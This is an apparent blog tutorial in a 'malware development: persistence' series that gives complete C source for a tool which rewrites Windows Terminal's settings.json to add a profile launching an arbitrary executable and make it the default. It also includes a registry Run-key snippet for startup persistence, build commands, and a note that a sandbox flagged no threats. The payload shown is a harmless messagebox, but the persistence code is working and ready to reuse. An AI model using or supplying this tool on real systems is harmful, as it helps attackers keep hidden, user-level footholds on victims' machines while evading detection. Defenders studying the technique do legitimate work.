Malware development: persistence - part 29. Add Windows Terminal profile. Simple C example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
Nowadays we have the interesting feature provided by Microsoft - Windows Terminal:
In this post we’ll explore a subtle but effective persistence technique on Windows using Windows Terminal profiles. Specifically, we’ll inject a custom JSON snippet into settings.json
, which Windows Terminal reads at startup. This allows us to define a new profile that silently launches a custom binary - in this case, as usual, Meow-meow
messagebox.
This is similar to one of my earlier posts
main idea
Simple and effective way persistence by modifying:
%LOCALAPPDATA%\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\LocalState\settings.json
We inject a new profile with a random GUID
and set it as the default. When Windows Terminal launches, so does our payload.
practical example
Let’s implement this logic. Just start from key parts of the source code.
First of all, we need file_existsA
, checks if the target file exists:
static int file_existsA(const char *path) {
DWORD a = GetFileAttributesA(path);
return (a != INVALID_FILE_ATTRIBUTES && !(a & FILE_ATTRIBUTE_DIRECTORY));
}
Simple wrapper around GetFileAttributesA
.
Then I used basic file I/O functions using ANSI APIs. They handle reading UTF-8
text (with or without BOM) and writing it back:
static int read_file_utf8(const char *path, unsigned char **data, size_t *len, int *had_bom) {
FILE *f = fopen(path, "rb");
if (!f) return 0;
fseek(f, 0, SEEK_END);
long sz = ftell(f);
if (sz < 0) { fclose(f); return 0; }
fseek(f, 0, SEEK_SET);
*data = (unsigned char*)malloc((size_t)sz + 1);
if (!*data) { fclose(f); return 0; }
if (fread(*data, 1, (size_t)sz, f) != (size_t)sz) { fclose(f); free(*data); return 0; }
fclose(f);
(*data)[sz] = 0;
*len = (size_t)sz;
*had_bom = 0;
if (*len >= 3 && (*data)[0] == 0xEF && (*data)[1] == 0xBB && (*data)[2] == 0xBF) {
*had_bom = 1;
memmove(*data, *data + 3, *len - 3);
*len -= 3;
(*data)[*len] = 0;
}
return 1;
}
static int write_file_utf8(const char *path, const unsigned char *data, size_t len, int write_bom) {
FILE *f = fopen(path, "wb");
if (!f) return 0;
if (write_bom) {
const unsigned char bom[3] = {0xEF,0xBB,0xBF};
if (fwrite(bom, 1, 3, f) != 3) { fclose(f); return 0; }
}
if (fwrite(data, 1, len, f) != len) { fclose(f); return 0; }
fclose(f);
return 1;
}
We strip the BOM when reading and optionally re-add it when writing. That preserves the original file format.
Also for purity of the experiment I need simple logic for creating a local backup:
static void backup_same_dir(const char *srcPath) {
// ...\settings.json -> ...\settings.json.bak
char bak[MAX_PATH*2];
strncpy(bak, srcPath, sizeof(bak)-1);
bak[sizeof(bak)-1] = 0;
char *p = strrchr(bak, '\\');
if (!p) return;
p++; *p = 0;
strncat(bak, "settings.json.bak", sizeof(bak)-strlen(bak)-1);
CopyFileA(srcPath, bak, FALSE);
}
Then scans for the "profiles"
-> "list"
JSON array. This is where Terminal stores user-defined profiles. Uses a mini JSON state machine to find the start ([
) and end (]
) of the array.
static int find_profiles_list(const char *json, size_t len, size_t *list_lb, size_t *list_rb) {
const char *profiles = strstr(json, "\"profiles\"");
if (!profiles) return 0;
const char *list = strstr(profiles, "\"list\"");
if (!list) return 0;
const char *lb = strchr(list, '[');
if (!lb) return 0;
int depth = 0, in_str = 0, esc = 0;
const char *end = json + len;
for (const char *q = lb; q < end; ++q) {
char c = *q;
if (in_str) {
if (esc) esc = 0;
else if (c == '\\') esc = 1;
else if (c == '"') in_str = 0;
} else {
if (c == '"') in_str = 1;
else if (c == '[') depth++;
else if (c == ']') {
depth--;
if (depth == 0) {
*list_lb = (size_t)(lb - json);
*list_rb = (size_t)(q - json);
return 1;
}
}
}
}
return 0;
}
Then, I need a few helper functions:
static int list_is_empty(const char *json, size_t lb, size_t rb) {
for (size_t i = lb + 1; i < rb; ++i) {
char c = json[i];
if (!(c == ' ' || c == '\t' || c == '\r' || c == '\n')) return 0;
}
return 1;
}
Checks if the profile list is empty (whitespace only). This matters for JSON
formatting (comma or not).
Another function is for optionally replaces "defaultProfile"
with our new GUID
:
static int replace_default_profile(char **json, size_t *len, const char *guid_b) {
const char *key = "\"defaultProfile\"";
char *pos = strstr(*json, key);
if (!pos) return 0;
char *colon = strchr(pos, ':');
if (!colon) return 0;
char *q1 = strchr(colon, '"');
if (!q1) return 0;
char *q2 = strchr(q1 + 1, '"');
if (!q2) return 0;
size_t pre = (size_t)(q1 + 1 - *json);
size_t suf = *len - (size_t)(q2 - *json);
size_t nlen = pre + strlen(guid_b) + suf;
char *out = (char*)malloc(nlen + 1);
if (!out) return 0;
memcpy(out, *json, pre);
memcpy(out + pre, guid_b, strlen(guid_b));
memcpy(out + pre + strlen(guid_b), q2, suf);
out[nlen] = 0;
free(*json);
*json = out;
*len = nlen;
return 1;
}
As you can see, the logic is simple, searches for "defaultProfile": "..."
and replaces the value. If not found, skips silently.
Before putting all together I need function for generating a UUIDv4
string manually using ANSI rand()
and QueryPerformanceCounter
. Something like this:
// GUID v4 (no extra libs). Sets version/variant bits properly.
static void gen_guid_v4_string(char out[64]) {
uint32_t r[4];
LARGE_INTEGER qpc = {0};
QueryPerformanceCounter(&qpc);
uint32_t seed = (uint32_t)(GetTickCount() ^ GetCurrentProcessId() ^ GetCurrentThreadId() ^
(uint32_t)qpc.LowPart ^ (uint32_t)qpc.HighPart);
srand(seed);
for (int i = 0; i < 4; ++i) r[i] = ((uint32_t)rand() << 16) ^ (uint32_t)rand();
// bytes
unsigned char b[16];
memcpy(b+0, &r[0], 4);
memcpy(b+4, &r[1], 4);
memcpy(b+8, &r[2], 4);
memcpy(b+12, &r[3], 4);
// version 4
b[6] = (b[6] & 0x0F) | 0x40;
// variant 10xx
b[8] = (b[8] & 0x3F) | 0x80;
// format {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
_snprintf(out, 64,
"%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
b[0],b[1],b[2],b[3], b[4],b[5], b[6],b[7], b[8],b[9], b[10],b[11],b[12],b[13],b[14],b[15]);
out[63] = 0;
}
Version and variant bits are set correctly per spec.
Finally, full source code is looks like the following (pers.c
):
/*
* pers.c
* persistence via
* adding a Windows Terminal profile
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/20/malware-pers-29.html
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define CHANGE_DEFAULT 1
static int file_existsA(const char *path) {
DWORD a = GetFileAttributesA(path);
return (a != INVALID_FILE_ATTRIBUTES && !(a & FILE_ATTRIBUTE_DIRECTORY));
}
static int read_file_utf8(const char *path, unsigned char **data, size_t *len, int *had_bom) {
FILE *f = fopen(path, "rb");
if (!f) return 0;
fseek(f, 0, SEEK_END);
long sz = ftell(f);
if (sz < 0) { fclose(f); return 0; }
fseek(f, 0, SEEK_SET);
*data = (unsigned char*)malloc((size_t)sz + 1);
if (!*data) { fclose(f); return 0; }
if (fread(*data, 1, (size_t)sz, f) != (size_t)sz) { fclose(f); free(*data); return 0; }
fclose(f);
(*data)[sz] = 0;
*len = (size_t)sz;
*had_bom = 0;
if (*len >= 3 && (*data)[0] == 0xEF && (*data)[1] == 0xBB && (*data)[2] == 0xBF) {
*had_bom = 1;
memmove(*data, *data + 3, *len - 3);
*len -= 3;
(*data)[*len] = 0;
}
return 1;
}
static int write_file_utf8(const char *path, const unsigned char *data, size_t len, int write_bom) {
FILE *f = fopen(path, "wb");
if (!f) return 0;
if (write_bom) {
const unsigned char bom[3] = {0xEF,0xBB,0xBF};
if (fwrite(bom, 1, 3, f) != 3) { fclose(f); return 0; }
}
if (fwrite(data, 1, len, f) != len) { fclose(f); return 0; }
fclose(f);
return 1;
}
static void backup_same_dir(const char *srcPath) {
// ...\settings.json -> ...\settings.json.bak
char bak[MAX_PATH*2];
strncpy(bak, srcPath, sizeof(bak)-1);
bak[sizeof(bak)-1] = 0;
char *p = strrchr(bak, '\\');
if (!p) return;
p++; *p = 0;
strncat(bak, "settings.json.bak", sizeof(bak)-strlen(bak)-1);
CopyFileA(srcPath, bak, FALSE);
}
static int find_profiles_list(const char *json, size_t len, size_t *list_lb, size_t *list_rb) {
const char *profiles = strstr(json, "\"profiles\"");
if (!profiles) return 0;
const char *list = strstr(profiles, "\"list\"");
if (!list) return 0;
const char *lb = strchr(list, '[');
if (!lb) return 0;
int depth = 0, in_str = 0, esc = 0;
const char *end = json + len;
for (const char *q = lb; q < end; ++q) {
char c = *q;
if (in_str) {
if (esc) esc = 0;
else if (c == '\\') esc = 1;
else if (c == '"') in_str = 0;
} else {
if (c == '"') in_str = 1;
else if (c == '[') depth++;
else if (c == ']') {
depth--;
if (depth == 0) {
*list_lb = (size_t)(lb - json);
*list_rb = (size_t)(q - json);
return 1;
}
}
}
}
return 0;
}
static int list_is_empty(const char *json, size_t lb, size_t rb) {
for (size_t i = lb + 1; i < rb; ++i) {
char c = json[i];
if (!(c == ' ' || c == '\t' || c == '\r' || c == '\n')) return 0;
}
return 1;
}
static int replace_default_profile(char **json, size_t *len, const char *guid_b) {
const char *key = "\"defaultProfile\"";
char *pos = strstr(*json, key);
if (!pos) return 0;
char *colon = strchr(pos, ':');
if (!colon) return 0;
char *q1 = strchr(colon, '"');
if (!q1) return 0;
char *q2 = strchr(q1 + 1, '"');
if (!q2) return 0;
size_t pre = (size_t)(q1 + 1 - *json);
size_t suf = *len - (size_t)(q2 - *json);
size_t nlen = pre + strlen(guid_b) + suf;
char *out = (char*)malloc(nlen + 1);
if (!out) return 0;
memcpy(out, *json, pre);
memcpy(out + pre, guid_b, strlen(guid_b));
memcpy(out + pre + strlen(guid_b), q2, suf);
out[nlen] = 0;
free(*json);
*json = out;
*len = nlen;
return 1;
}
// GUID v4 (no extra libs). Sets version/variant bits properly.
static void gen_guid_v4_string(char out[64]) {
uint32_t r[4];
LARGE_INTEGER qpc = {0};
QueryPerformanceCounter(&qpc);
uint32_t seed = (uint32_t)(GetTickCount() ^ GetCurrentProcessId() ^ GetCurrentThreadId() ^
(uint32_t)qpc.LowPart ^ (uint32_t)qpc.HighPart);
srand(seed);
for (int i = 0; i < 4; ++i) r[i] = ((uint32_t)rand() << 16) ^ (uint32_t)rand();
// bytes
unsigned char b[16];
memcpy(b+0, &r[0], 4);
memcpy(b+4, &r[1], 4);
memcpy(b+8, &r[2], 4);
memcpy(b+12, &r[3], 4);
// version 4
b[6] = (b[6] & 0x0F) | 0x40;
// variant 10xx
b[8] = (b[8] & 0x3F) | 0x80;
// format {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
_snprintf(out, 64,
"%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X",
b[0],b[1],b[2],b[3], b[4],b[5], b[6],b[7], b[8],b[9], b[10],b[11],b[12],b[13],b[14],b[15]);
out[63] = 0;
}
int main(int argc, char **argv) {
// resolve settings.json locations from %LOCALAPPDATA%
const char *lad = getenv("LOCALAPPDATA");
if (!lad) {
fprintf(stderr, "[-] LOCALAPPDATA not found\n");
return 1;
}
char pathStore[MAX_PATH*2];
char pathUnpkg[MAX_PATH*2];
_snprintf(pathStore, sizeof(pathStore),
"%s\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json", lad);
pathStore[sizeof(pathStore)-1] = 0;
_snprintf(pathUnpkg, sizeof(pathUnpkg),
"%s\\Microsoft\\Windows Terminal\\settings.json", lad);
pathUnpkg[sizeof(pathUnpkg)-1] = 0;
const char *settingsPath = NULL;
if (file_existsA(pathStore)) settingsPath = pathStore;
else if (file_existsA(pathUnpkg)) settingsPath = pathUnpkg;
else {
fprintf(stderr, "[-] settings.json not found:\n %s\n %s\n", pathStore, pathUnpkg);
return 1;
}
printf("[+] using: %s\n", settingsPath);
// backup and read JSON
backup_same_dir(settingsPath);
unsigned char *buf = NULL;
size_t blen = 0;
int had_bom = 0;
if (!read_file_utf8(settingsPath, &buf, &blen, &had_bom)) {
fprintf(stderr, "[-] failed to read settings.json\n");
return 1;
}
char *json = (char*)malloc(blen + 1);
if (!json) { free(buf); return 1; }
memcpy(json, buf, blen + 1);
free(buf);
// generate GUID and build snippet
char guid_b[64];
gen_guid_v4_string(guid_b);
const char *exeIn = (argc >= 2) ? argv[1] : "C:\\Users\\Public\\meow.exe";
char escaped[1024]; // ensure backslashes are doubled for JSON
{
size_t j = 0;
for (size_t i = 0; exeIn[i] && j + 2 < sizeof(escaped); ++i) {
char c = exeIn[i];
if (c == '\\') { escaped[j++] = '\\'; escaped[j++] = '\\'; }
else escaped[j++] = c;
}
escaped[j] = 0;
}
char snippet_with_comma[1024];
char snippet_no_comma[1024];
_snprintf(snippet_with_comma, sizeof(snippet_with_comma),
",\n {\n"
" \"guid\": \"%s\",\n"
" \"name\": \"meow\",\n"
" \"commandline\": \"%s\",\n"
" \"hidden\": false\n"
" }",
guid_b, escaped);
_snprintf(snippet_no_comma, sizeof(snippet_no_comma),
"\n {\n"
" \"guid\": \"%s\",\n"
" \"name\": \"meow\",\n"
" \"commandline\": \"%s\",\n"
" \"hidden\": false\n"
" }",
guid_b, escaped);
// find profiles.list and inject
size_t lb=0, rb=0;
if (!find_profiles_list(json, blen, &lb, &rb)) {
fprintf(stderr, "[-] could not locate profiles.list\n");
free(json);
return 1;
}
int empty = list_is_empty(json, lb, rb);
const char *ins = empty ? snippet_no_comma : snippet_with_comma;
size_t ins_len = strlen(ins);
size_t new_len = blen + ins_len;
char *out = (char*)malloc(new_len + 1);
if (!out) { free(json); return 1; }
memcpy(out, json, rb);
memcpy(out + rb, ins, ins_len);
memcpy(out + rb + ins_len, json + rb, blen - rb);
out[new_len] = 0;
free(json);
json = out;
blen = new_len;
#if CHANGE_DEFAULT
if (replace_default_profile(&json, &blen, guid_b)) {
printf("[+] defaultProfile set to %s\n", guid_b);
} else {
printf("[*] defaultProfile key not found (skipped)\n");
}
#endif
// write settings.json (preserve BOM state)
if (!write_file_utf8(settingsPath, (const unsigned char*)json, blen, had_bom)) {
fprintf(stderr, "[-] failed to write settings.json\n");
free(json);
return 1;
}
printf("[+] profile inserted.\n");
printf("[+] GUID: %s\n", guid_b);
printf("[+] commandLine: %s\n", escaped);
printf("[i] open Windows Terminal -> 'meow' profile. or run: wt -p %s\n", guid_b);
free(json);
return 0;
}
The result? Next launch of wt.exe
runs our binary.
Binary as usual, Meow-meow
messagebox payload meow.c
:
/*
* meow.c
* persistence via
* adding a Windows Terminal profile
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2025/09/20/malware-pers-29.html
*/
#include <windows.h>
int main() {
MessageBoxA(NULL, "Meow-meow!!", "=^..^=", MB_OK);
}
demo
Let’s go to see everything in action.
First of all, compiling “malicious” binary:
x86_64-w64-mingw32-g++ -O2 meow.c -o meow.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Then, compile our persistence script:
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
Before run check our settings.json
file:
type settings.json
Copy our meow.exe
:
Then run our persistence script:
.\pers.exe
Then recheck again:
cat settings.json
As you can see, default profile also successfully updated.
Then, finally for trigger run Windows Terminal:
.\wt.exe
or just run from GUI.
If you run GUI again:
As you can see, we got a default profile option meow
Everything is worked perfectly as expected! =^..^=
If we also want this to run at system startup, we can add the Windows terminal via using Run/RunOnce registry persistence trick something like this:
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// Windows Terminal app
const char* exe = "C:\\Users\\User\\AppData\\Local\\Microsoft\\WindowsApps\\wt.exe";
// startup
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
return 0;
}
Upload this application to ANY.RUN. First of all, we need to choose Windows 10 device for analysis:
Then just wait:
ANY.RUN says: No threats detected.
https://app.any.run/tasks/8792f81f-b3c2-4175-8731-d15d4c1ece66
conclusion
This is trick is simple and effective: requires user-level access (no admin), works on systems where Windows Terminal is installed (default on modern Win10/11)and no registry modifications needed.
I hope this post spreads awareness to the blue teamers of this interesting persistence technique, and adds a weapon to the red teamers arsenal.
Thanks to ANY.RUN for API!
This is a practical case for educational purposes only.
Malware persistence - part 1. Registry run keys
ANY.RUN
ANY.RUN: pers.exe
source code in github
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine